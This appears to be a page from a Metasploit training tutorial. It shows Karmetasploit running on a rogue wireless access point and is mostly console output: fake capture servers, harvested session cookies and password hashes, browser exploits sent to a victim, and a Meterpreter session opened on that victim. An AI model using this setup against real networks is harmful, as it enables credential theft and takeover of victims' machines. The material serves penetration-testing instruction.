Karmetasploit In Action a11y.text Karmetasploit In Action Now, with everything ready, all that is left is to run Karmetasploit! We start up Metasploit, feeding it our control file. root@kali : ~ # msfconsole -q -r karma.rc_.txt [*] Processing karma.rc_.txt for ERB directives.

resource (karma.rc_.txt)> db_connect postgres:toor@127.0.0.1/msfbook

resource (karma.rc_.txt)> use auxiliary/server/browser_autopwn

resource (karma.rc_.txt)> setg AUTOPWN_HOST 10.0.0.1

AUTOPWN_HOST => 10.0.0.1

resource (karma.rc_.txt)> setg AUTOPWN_PORT 55550

AUTOPWN_PORT => 55550

resource (karma.rc_.txt)> setg AUTOPWN_URI /ads

AUTOPWN_URI => /ads

resource (karma.rc_.txt)> set LHOST 10.0.0.1

LHOST => 10.0.0.1

resource (karma.rc_.txt)> set LPORT 45000

LPORT => 45000

resource (karma.rc_.txt)> set SRVPORT 55550

SRVPORT => 55550

resource (karma.rc_.txt)> set URIPATH /ads

URIPATH => /ads

resource (karma.rc_.txt)> run

[*] Auxiliary module execution completed

resource (karma.rc_.txt)> use auxiliary/server/capture/pop3

resource (karma.rc_.txt)> set SRVPORT 110

SRVPORT => 110

resource (karma.rc_.txt)> set SSL false

SSL => false

resource (karma.rc_.txt)> run

[*] Auxiliary module execution completed

resource (karma.rc_.txt)> use auxiliary/server/capture/pop3

resource (karma.rc_.txt)> set SRVPORT 995

SRVPORT => 995

resource (karma.rc_.txt)> set SSL true

SSL => true

resource (karma.rc_.txt)> run

[*] Auxiliary module execution completed

resource (karma.rc_.txt)> use auxiliary/server/capture/ftp

[*] Setup

resource (karma.rc_.txt)> run

[*] Listening on 0.0.0.0:110...

[*] Auxiliary module execution completed

[*] Server started.

msf auxiliary(http) > At this point, we are up and running. All that is required now is for a client to connect to the fake access point. When they connect, they will see a fake â€˜captive portalâ€™ style screen regardless of what website they try to connect to. You can look through your output, and see that a wide number of different servers are started. From DNS, POP3, IMAP, to various HTTP servers, we have a wide net now cast to capture various bits of information. Now lets see what happens when a client connects to the fake AP we have set up. msf auxiliary(http) >

[*] DNS 10.0.0.100:1276 XID 87 (IN::A www.msn.com)

[*] DNS 10.0.0.100:1276 XID 87 (IN::A www.msn.com)

[*] HTTP REQUEST 10.0.0.100 > www.msn.com:80 GET / Windows IE 5.01

cookies=MC1=V=3&GUID=e2eabc69be554e3587acce84901a53d3;

MUID=E7E065776DBC40099851B16A38DB8275; mh=MSFT; CULTURE=EN-US;

zip=z:68101|la:41.26|lo:-96.013|c:US|hr:1; FlightGroupId=14; FlightId=BasePage;

hpsvr=M:5|F:5|T:5|E:5|D:blu|W:F; hpcli=W.H|L.|S.|R.|U.L|C.|H.; ushpwea=wc:USNE0363; wpv=2

[*] DNS 10.0.0.100:1279 XID 88 (IN::A adwords.google.com)

[*] DNS 10.0.0.100:1279 XID 88 (IN::A adwords.google.com)

[*] DNS 10.0.0.100:1280 XID 89 (IN::A blogger.com)

[*] DNS 10.0.0.100:1280 XID 89 (IN::A blogger.com)

...snip...

[*] DNS 10.0.0.100:1289 XID 95 (IN::A gmail.com)

[*] DNS 10.0.0.100:1289 XID 95 (IN::A gmail.com)

[*] DNS 10.0.0.100:1289 XID 95 (IN::A gmail.com)

[*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com)

[*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com)

[*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com)

[*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com)

[*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com)

[*] Request '/ads' from 10.0.0.100:1278

[*] Recording detection from User-Agent

[*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com)

[*] Browser claims to be MSIE 5.01, running on Windows 2000

[*] DNS 10.0.0.100:1293 XID 97 (IN::A google.com)

[*] Error: SQLite3::SQLException cannot start a transaction within a transaction

/usr/lib/ruby/1.8/sqlite3/errors.rb:62:in `check'/usr/lib/ruby/1.8/sqlite3/resultset.rb:47:in

`check'/usr/lib/ruby/1.8/sqlite3/resultset.rb:39:in `commence'/usr/lib/ruby/1.8/sqlite3

...snip...

[*] HTTP REQUEST 10.0.0.100 > ecademy.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > facebook.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > gather.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > gmail.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > gmail.google.com:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY-zgcXpEV; NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8

[*] HTTP REQUEST 10.0.0.100 > google.com:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY-zgcXpEV; NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8

[*] HTTP REQUEST 10.0.0.100 > linkedin.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > livejournal.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > monster.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > myspace.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > plaxo.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > ryze.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] Sending MS03-020 Internet Explorer Object Type to 10.0.0.100:1278...

[*] HTTP REQUEST 10.0.0.100 > slashdot.org:80 GET /forms.html Windows IE 5.01 cookies=

[*] Received 10.0.0.100:1360 LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0

...snip...

[*] HTTP REQUEST 10.0.0.100 > www.monster.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] Received 10.0.0.100:1362 TARGET\P0WN3D

LMHASH:47a8cfba21d8473f9cc1674cedeba0fa6dc1c2a4dd904b72

NTHASH:ea389b305cd095d32124597122324fc470ae8d9205bdfc19 OS:Windows 2000 2195

LM:Windows 2000 5.0

[*] Authenticating to 10.0.0.100 as TARGET\P0WN3D...

[*] HTTP REQUEST 10.0.0.100 > www.myspace.com:80 GET /forms.html Windows IE 5.01

cookies=

[*] AUTHENTICATED as TARGETP0WN3D...

[*] Connecting to the ADMIN$ share...

[*] HTTP REQUEST 10.0.0.100 > www.plaxo.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] Regenerating the payload...

[*] Uploading payload...

[*] HTTP REQUEST 10.0.0.100 > www.ryze.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > www.slashdot.org:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > www.x.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > www.xing.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > xing.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] Created UxsjordQ.exe...

[*] HTTP REQUEST 10.0.0.100 > ziggs.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] Connecting to the Service Control Manager...

[*] HTTP REQUEST 10.0.0.100 > care.com:80 GET / Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > www.gather.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > www.ziggs.com:80 GET /forms.html Windows IE 5.01 cookies=

[*] Obtaining a service manager handle...

[*] Creating a new service...

[*] Closing service handle...

[*] Opening service...

[*] Starting the service...

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)

[*] Removing the service...

[*] Closing service handle...

[*] Deleting UxsjordQ.exe...

[*] Sending Access Denied to 10.0.0.100:1362 TARGET\P0WN3D

[*] Received 10.0.0.100:1362 LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0

[*] Sending Access Denied to 10.0.0.100:1362

[*] Received 10.0.0.100:1365 TARGET\P0WN3D LMHASH:3cd170ac4f807291a1b90da20bb8eb228cf50aaf5373897d NTHASH:ddb2b9bed56faf557b1a35d3687fc2c8760a5b45f1d1f4cd OS:Windows 2000 2195 LM:Windows 2000 5.0

[*] Authenticating to 10.0.0.100 as TARGET\P0WN3D...

[*] AUTHENTICATED as TARGETP0WN3D...

[*] Ignoring request from 10.0.0.100, attack already in progress.

[*] Sending Access Denied to 10.0.0.100:1365 TARGET\P0WN3D

[*] Sending Apple QuickTime 7.1.3 RTSP URI Buffer Overflow to 10.0.0.100:1278...

[*] Sending stage (2650 bytes)

[*] Sending iPhone MobileSafari LibTIFF Buffer Overflow to 10.0.0.100:1367...

[*] HTTP REQUEST 10.0.0.100 > www.care2.com:80 GET / Windows IE 5.01 cookies=

[*] Sleeping before handling stage...

[*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET / Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET / Windows IE 5.01 cookies=

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Migrating to lsass.exe...

[*] Current server process: rundll32.exe (848)

[*] New server process: lsass.exe (232)

[*] Meterpreter session 1 opened (10.0.0.1:45017 -> 10.0.0.100:1364)

msf auxiliary(http) > sessions -l

Active sessions

==========

Id Description Tunnel

-- ----------- ------

1 Meterpreter 10.0.0.1:45017 -> 10.0.0.100:1364 Next Karmetasploit Attack Analysis Prev Karmetasploit Configuration